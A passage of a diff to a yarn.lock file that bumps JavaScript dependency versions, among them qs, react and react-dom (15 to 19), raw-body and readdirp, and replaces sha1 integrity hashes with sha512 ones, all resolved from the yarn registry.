+  integrity sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==
 
 punycode@^2.1.0, punycode@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
   integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
 
+punycode@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5"
+  integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==
+
 q@^1.1.2:
   version "1.5.1"
   resolved "https://registry.yarnpkg.com/q/-/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
   integrity sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=
 
-qs@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
-  integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==
+qs@6.13.0:
+  version "6.13.0"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.0.tgz#6ca3bd58439f7e245655798997787b0d88a51906"
+  integrity sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==
+  dependencies:
+    side-channel "^1.0.6"
+
+qs@^6.12.3:
+  version "6.14.0"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.14.0.tgz#c63fa40680d2c5c941412a0e899c89af60c0a930"
+  integrity sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==
+  dependencies:
+    side-channel "^1.1.0"
 
 qs@~6.5.2:
-  version "6.5.2"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
-  integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
+  version "6.5.3"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.3.tgz#3aeeffc91967ef6e35c0e488ef46fb296ab76aad"
+  integrity sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==
 
 query-string@^4.1.0, query-string@^4.2.3:
   version "4.3.4"
   resolved "https://registry.yarnpkg.com/query-string/-/query-string-4.3.4.tgz#bbb693b9ca915c232515b228b1a02b609043dbeb"
-  integrity sha1-u7aTucqRXCMlFbIosaArYJBD2+s=
+  integrity sha512-O2XLNDBIg1DnTOa+2XrIwSiXEV8h2KImXUnjhhn2+UsvZ+Es2uyd5CCRTNQlDGbzUQOW3aYCBx9rVA6dzsiY7Q==
   dependencies:
     object-assign "^4.1.0"
     strict-uri-encode "^1.0.0"
@@ -6491,12 +6843,7 @@ query-string@^4.1.0, query-string@^4.2.3:
 querystring-es3@^0.2.0:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
-  integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
-
-querystring@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
-  integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
+  integrity sha512-773xhDQnZBMFobEiztv8LIl70ch5MSF/jUQVlhwFyBILqq96anmoctVIYz+ZRp0qbCKATTn6ev02M3r7Ga5vqA==
 
 querystringify@^2.1.1:
   version "2.2.0"
@@ -6519,14 +6866,14 @@ randomatic@^3.0.0:
     kind-of "^6.0.0"
     math-random "^1.0.1"
 
-randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5:
+randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
   integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
   dependencies:
     safe-buffer "^5.1.0"
 
-randomfill@^1.0.3:
+randomfill@^1.0.4:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
   integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==
@@ -6539,13 +6886,13 @@ range-parser@^1.0.3, range-parser@~1.2.1:
   resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
   integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
 
-raw-body@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
-  integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==
+raw-body@2.5.2:
+  version "2.5.2"
+  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.2.tgz#99febd83b90e08975087e8f1f9419a149366b68a"
+  integrity sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==
   dependencies:
-    bytes "3.1.0"
-    http-errors "1.7.2"
+    bytes "3.1.2"
+    http-errors "2.0.0"
     iconv-lite "0.4.24"
     unpipe "1.0.0"
 
@@ -6583,22 +6930,19 @@ react-dev-utils@^5.0.2:
     strip-ansi "3.0.1"
     text-table "0.2.0"
 
-react-dom@^15.4.1:
-  version "15.7.0"
-  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-15.7.0.tgz#39106dee996d0742fb0f43d567ef8b8153483ab2"
-  integrity sha512-mpjXqC2t1FuYsILOLCj0kg6pbg460byZkVA/80VtDmKU/pYmoTdHOtaMcTRIDiyXLz4sIur0cQ04nOC6iGndJg==
+react-dom@^19.0.0:
+  version "19.0.0"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-19.0.0.tgz#43446f1f01c65a4cd7f7588083e686a6726cfb57"
+  integrity sha512-4GV5sHFG0e/0AD4X+ySy6UJd3jVl1iNsNHdpad0qhABJ11twS3TTBnseqsKurKcsNqCEFeGL3uLpVChpIO3QfQ==
   dependencies:
-    fbjs "^0.8.9"
-    loose-envify "^1.1.0"
-    object-assign "^4.1.0"
-    prop-types "^15.5.10"
+    scheduler "^0.25.0"
 
 react-error-overlay@^4.0.1:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/react-error-overlay/-/react-error-overlay-4.0.1.tgz#417addb0814a90f3a7082eacba7cee588d00da89"
   integrity sha512-xXUbDAZkU08aAkjtUvldqbvI04ogv+a1XdHxvYuHPYKIVk/42BIOD0zSKTHAWV4+gDy3yGm283z2072rA2gdtw==
 
-react-is@^16.8.1:
+react-is@^16.13.1:
   version "16.13.1"
   resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
   integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
@@ -6654,21 +6998,15 @@ react-scripts@^1.0.11:
   optionalDependencies:
     fsevents "^1.1.3"
 
-react@^15.4.1:
-  version "15.7.0"
-  resolved "https://registry.yarnpkg.com/react/-/react-15.7.0.tgz#10308fd42ac6912a250bf00380751abc41ac7106"
-  integrity sha512-5/MMRYmpmM0sMTHGLossnJCrmXQIiJilD6y3YN3TzAwGFj6zdnMtFv6xmi65PHKRV+pehIHpT7oy67Sr6s9AHA==
-  dependencies:
-    create-react-class "^15.6.0"
-    fbjs "^0.8.9"
-    loose-envify "^1.1.0"
-    object-assign "^4.1.0"
-    prop-types "^15.5.10"
+react@^19.0.0:
+  version "19.0.0"
+  resolved "https://registry.yarnpkg.com/react/-/react-19.0.0.tgz#6e1969251b9f108870aa4bff37a0ce9ddfaaabdd"
+  integrity sha512-V8AVnmPIICiWpGfm6GLzCR/W5FXLchHop40W4nXBmdlEceh16rCN8O8LNWm5bh5XUX91fh7KpA+W0TgMKmgTpQ==
 
 read-pkg-up@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-1.0.1.tgz#9d63c13276c065918d57f002a57f40a1b643fb02"
-  integrity sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=
+  integrity sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==
   dependencies:
     find-up "^1.0.0"
     read-pkg "^1.0.0"
@@ -6676,7 +7014,7 @@ read-pkg-up@^1.0.1:
 read-pkg-up@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-2.0.0.tgz#6b72a8048984e0c41e79510fd5e9fa99b3b549be"
-  integrity sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=
+  integrity sha512-1orxQfbWGUiTn9XsPlChs6rLie/AV9jwZTGmu2NZw/CUDJQchXJFYE0Fq5j7+n558T1JhDWLdhyd1Zj+wLY//w==
   dependencies:
     find-up "^2.0.0"
     read-pkg "^2.0.0"
@@ -6684,7 +7022,7 @@ read-pkg-up@^2.0.0:
 read-pkg@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-1.1.0.tgz#f5ffaa5ecd29cb31c0474bca7d756b6bb29e3f28"
-  integrity sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=
+  integrity sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==
   dependencies:
     load-json-file "^1.0.0"
     normalize-package-data "^2.3.2"
@@ -6693,13 +7031,13 @@ read-pkg@^1.0.0:
 read-pkg@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-2.0.0.tgz#8ef1c0623c6a6db0dc6713c4bfac46332b2368f8"
-  integrity sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=
+  integrity sha512-eFIBOPW7FGjzBuk3hdXEuNSiTZS/xEMlH49HxMyzb0hyPfu4EhVjT2DH32K1hSSmVq4sebAWnZuuY5auISUTGA==
   dependencies:
     load-json-file "^2.0.0"
     normalize-package-data "^2.3.2"
     path-type "^2.0.0"
 
-readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.2.2, readable-stream@^2.2.9, readable-stream@^2.3.3, readable-stream@^2.3.6:
+readable-stream@^2.0.1:
   version "2.3.7"
   resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
   integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
@@ -6712,16 +7050,20 @@ readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.2.2, readable
     string_decoder "~1.1.1"
     util-deprecate "~1.0.1"
 
-readable-stream@^3.1.1, readable-stream@^3.6.0:
-  version "3.6.0"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
-  integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==
+readable-stream@^2.0.2, readable-stream@^2.2.2, readable-stream@^2.2.9, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@^2.3.8:
+  version "2.3.8"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.8.tgz#91125e8042bba1b9887f49345f6277027ce8be9b"
+  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
   dependencies:
-    inherits "^2.0.3"
-    string_decoder "^1.1.1"
-    util-deprecate "^1.0.1"
+    core-util-is "~1.0.0"
+    inherits "~2.0.3"
+    isarray "~1.0.0"
+    process-nextick-args "~2.0.0"
+    safe-buffer "~5.1.1"
+    string_decoder "~1.1.1"
+    util-deprecate "~1.0.1"
 
-readable-stream@^3.6.2:
+readable-stream@^3.6.0:
   version "3.6.2"
   resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967"
   integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
@@ -6739,24 +7081,24 @@ readdirp@^2.2.1:
     micromatch "^3.1.10"
     readable-stream "^2.0.2"
 
-readdirp@~3.5.0:
-  version "3.5.0"
-  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
-  integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==
+readdirp@~3.6.0:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7"
+  integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==
   dependencies:
     picomatch "^2.2.1"
 
 recursive-readdir@2.2.1:
   version "2.2.1"
   resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.1.tgz#90ef231d0778c5ce093c9a48d74e5c5422d13a99"
-  integrity sha1-kO8jHQd4xc4JPJpI105cVCLROpk=
+  integrity sha512-BKWLxPZb4B07G/4LzyzsHaw24fC41/tL7LrECr1//X9ykRhmxlYgyl7G7X+6A7nvJyOGE/ED7refqmSGORVYqQ==
   dependencies:
     minimatch "3.0.3"
 
 redent@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/redent/-/redent-1.0.0.tgz#cf916ab1fd5f1f16dfb20822dd6ec7f730c2afde"
-  integrity sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=
+  integrity sha512-qtW5hKzGQZqKoh6JNSD+4lfitfPKGz42e6QwiRmPM5mmKtR0N41AbJRYu0xJi7nhOJ4WDgRkKvAk6tw4WIwR4g==
   dependencies:
     indent-string "^2.1.0"
     strip-indent "^1.0.1"
@@ -6764,7 +7106,7 @@ redent@^1.0.0:
 reduce-css-calc@^1.2.6:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz#747c914e049614a4c9cfbba629871ad1d2927716"
-  integrity sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=
+  integrity sha512-0dVfwYVOlf/LBA2ec4OwQ6p3X9mYxn/wOl2xTcLwjnPYrkgEfPx3VI4eGCH3rQLlPISG5v9I9bkZosKsNRTRKA==
   dependencies:
     balanced-match "^0.4.2"
     math-expression-evaluator "^1.2.14"
@@ -6777,6 +7119,20 @@ reduce-function-call@^1.0.1:
   dependencies:
     balanced-match "^1.0.0"
 
+reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9"
+  integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.1"
+    which-builtin-type "^1.2.1"
+
 regenerate@^1.2.1:
   version "1.4.2"
   resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
@@ -6811,18 +7167,22 @@ regex-not@^1.0.0, regex-not@^1.0.2:
     extend-shallow "^3.0.2"
     safe-regex "^1.1.0"
 
-regexp.prototype.flags@^1.2.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.0.tgz#7aba89b3c13a64509dabcf3ca8d9fbb9bdf5cb75"
-  integrity sha512-2+Q0C5g951OlYlJz6yu5/M33IcsESLlLfsyIaLJaG4FA2r4yP8MvVMJUUP/fVBkSpbbbZlS5gynbEWLipiiXiQ==
+regexp.prototype.flags@^1.5.1, regexp.prototype.flags@^1.5.3:
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19"
+  integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.0-next.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    set-function-name "^2.0.2"
 
 regexpu-core@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-2.0.0.tgz#49d038837b8dcf8bfa5b9a42139938e6ea2ae240"
-  integrity sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=
+  integrity sha512-tJ9+S4oKjxY8IZ9jmjnp/mtytu1u3iyIQAfmI51IKWH6bFf7XR1ybtaO6j7INhZKXOTYADk7V5qxaqLkmNxiZQ==
   dependencies:
     regenerate "^1.2.1"
     regjsgen "^0.2.0"
@@ -6839,57 +7199,57 @@ registry-auth-token@^3.0.1:
 registry-url@^3.0.3:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/registry-url/-/registry-url-3.1.0.tgz#3d4ef870f73dde1d77f0cf9a381432444e174942"
-  integrity sha1-PU74cPc93h138M+aOBQyRE4XSUI=
+  integrity sha512-ZbgR5aZEdf4UKZVBPYIgaglBmSF2Hi94s2PcIHhRGFjKYu+chjJdYfHn4rt3hB6eCKLJ8giVIIfgMa1ehDfZKA==
   dependencies:
     rc "^1.0.1"
 
 regjsgen@^0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.2.0.tgz#6c016adeac554f75823fe37ac05b92d5a4edb1f7"
-  integrity sha1-bAFq3qxVT3WCP+N6wFuS1aTtsfc=
+  integrity sha512-x+Y3yA24uF68m5GA+tBjbGYo64xXVJpbToBaWCoSNSc1hdk6dfctaRWrNFTVJZIIhL5GxW8zwjoixbnifnK59g==
 
 regjsparser@^0.1.4:
   version "0.1.5"
   resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.1.5.tgz#7ee8f84dc6fa792d3fd0ae228d24bd949ead205c"
-  integrity sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=
+  integrity sha512-jlQ9gYLfk2p3V5Ag5fYhA7fv7OHzd1KUH0PRP46xc3TgwjwgROIW572AfYg/X9kaNq/LJnu6oJcFRXlIrGoTRw==
   dependencies:
     jsesc "~0.5.0"
 
 relateurl@0.2.x:
   version "0.2.7"
   resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
-  integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=
+  integrity sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==
 
 remove-trailing-separator@^1.0.1:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef"
-  integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8=
+  integrity sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==
 
 renderkid@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-2.0.4.tgz#d325e532afb28d3f8796ffee306be8ffd6fc864c"
-  integrity sha512-K2eXrSOJdq+HuKzlcjOlGoOarUu5SDguDEhE7+Ah4zuOWL40j8A/oHvLlLob9PSTNvVnBd+/q0Er1QfpEuem5g==
-  dependencies:
-    css-select "^1.1.0"
-    dom-converter "^0.2"
-    htmlparser2 "^3.3.0"
-    lodash "^4.17.20"
-    strip-ansi "^3.0.0"
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-2.0.7.tgz#464f276a6bdcee606f4a15993f9b29fc74ca8609"
+  integrity sha512-oCcFyxaMrKsKcTY59qnCAtmDVSLfPbrv6A3tVbPdFMMrv5jaK10V6m40cKsoPNhAqN6rmHW9sswW4o3ruSrwUQ==
+  dependencies:
+    css-select "^4.1.3"
+    dom-converter "^0.2.0"
+    htmlparser2 "^6.1.0"
+    lodash "^4.17.21"
+    strip-ansi "^3.0.1"
 
 repeat-element@^1.1.2:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.3.tgz#782e0d825c0c5a3bb39731f84efee6b742e6b1ce"
-  integrity sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
+  integrity sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==
 
 repeat-string@^1.5.2, repeat-string@^1.6.1:
   version "1.6.1"
   resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-  integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
+  integrity sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==
 
 repeating@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/repeating/-/repeating-2.0.1.tgz#5214c53a926d3552707527fbab415dbc08d06dda"
-  integrity sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=
+  integrity sha512-ZqtSMuVybkISo2OWvqvm7iHSWngvdaW3IpsT9/uP8v4gMi591LY6h35wdOfvQdWCKFWZWm2Y1Opp4kV7vQKT6A==
   dependencies:
     is-finite "^1.0.0"
 
@@ -6927,17 +7287,17 @@ require-directory@^2.1.1:
 require-from-string@^1.1.0:
   version "1.2.1"
   resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-1.2.1.tgz#529c9ccef27380adfec9a2f965b649bbee636418"
-  integrity sha1-UpyczvJzgK3+yaL5ZbZJu+5jZBg=
+  integrity sha512-H7AkJWMobeskkttHyhTVtS0fxpFLjxhbfMa6Bk3wimP7sdPRGL3EyCg3sAQenFfAe+xQ+oAc85Nmtvq0ROM83Q==
 
 require-main-filename@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-1.0.1.tgz#97f717b69d48784f5f526a6c5aa8ffdda055a4d1"
-  integrity sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=
+  integrity sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==
 
 require-uncached@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/require-uncached/-/require-uncached-1.0.3.tgz#4e0d56d6c9662fd31e43011c4b95aa49955421d3"
-  integrity sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=
+  integrity sha512-Xct+41K3twrbBHdxAgMoOS+cNcoqIjfM2/VxBF4LL2hVph7YsF8VSKyQ3BDFZwEVbok9yeDl2le/qo0S77WG2w==
   dependencies:
     caller-path "^0.1.0"
     resolve-from "^1.0.0"
@@ -6950,14 +7310,14 @@ requires-port@^1.0.0:
 resolve-cwd@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-2.0.0.tgz#00a9f7387556e27038eae232caa372a6a59b665a"
-  integrity sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=
+  integrity sha512-ccu8zQTrzVr954472aUVPLEcB3YpKSYR3cg/3lo1okzobPBM+1INXBbBZlDbnI/hbEocnf8j0QVo43hQKrbchg==
   dependencies:
     resolve-from "^3.0.0"
 
 resolve-dir@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/resolve-dir/-/resolve-dir-1.0.1.tgz#79a40644c362be82f26effe739c9bb5382046f43"
-  integrity sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=
+  integrity sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==
   dependencies:
     expand-tilde "^2.0.0"
     global-modules "^1.0.0"
@@ -6965,22 +7325,22 @@ resolve-dir@^1.0.0:
 resolve-from@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-1.0.1.tgz#26cbfe935d1aeeeabb29bc3fe5aeb01e93d44226"
-  integrity sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=
+  integrity sha512-kT10v4dhrlLNcnO084hEjvXCI1wUG9qZLoz2RogxqDQQYy7IxjI/iMUkOtQTNEh6rzHxvdQWHsJyel1pKOVCxg==
 
 resolve-from@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
-  integrity sha1-six699nWiBvItuZTM17rywoYh0g=
+  integrity sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==
 
 resolve-url@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
-  integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
+  integrity sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==
 
 resolve@1.1.7:
   version "1.1.7"
   resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.1.7.tgz#203114d82ad2c5ed9e8e0411b3932875e889e97b"
-  integrity sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=
+  integrity sha512-9znBF0vBcaSN3W2j7wKvdERPwqTxSpCq+if5C0WoTCyV9n24rua28jeuQ2pL/HOf+yUe/Mef+H/5p60K0Id3bg==
 
 resolve@1.6.0:
   version "1.6.0"
@@ -6989,18 +7349,19 @@ resolve@1.6.0:
   dependencies:
     path-parse "^1.0.5"
 
-resolve@^1.10.0, resolve@^1.13.1, resolve@^1.3.2:
-  version "1.19.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.19.0.tgz#1af5bf630409734a067cae29318aac7fa29a267c"
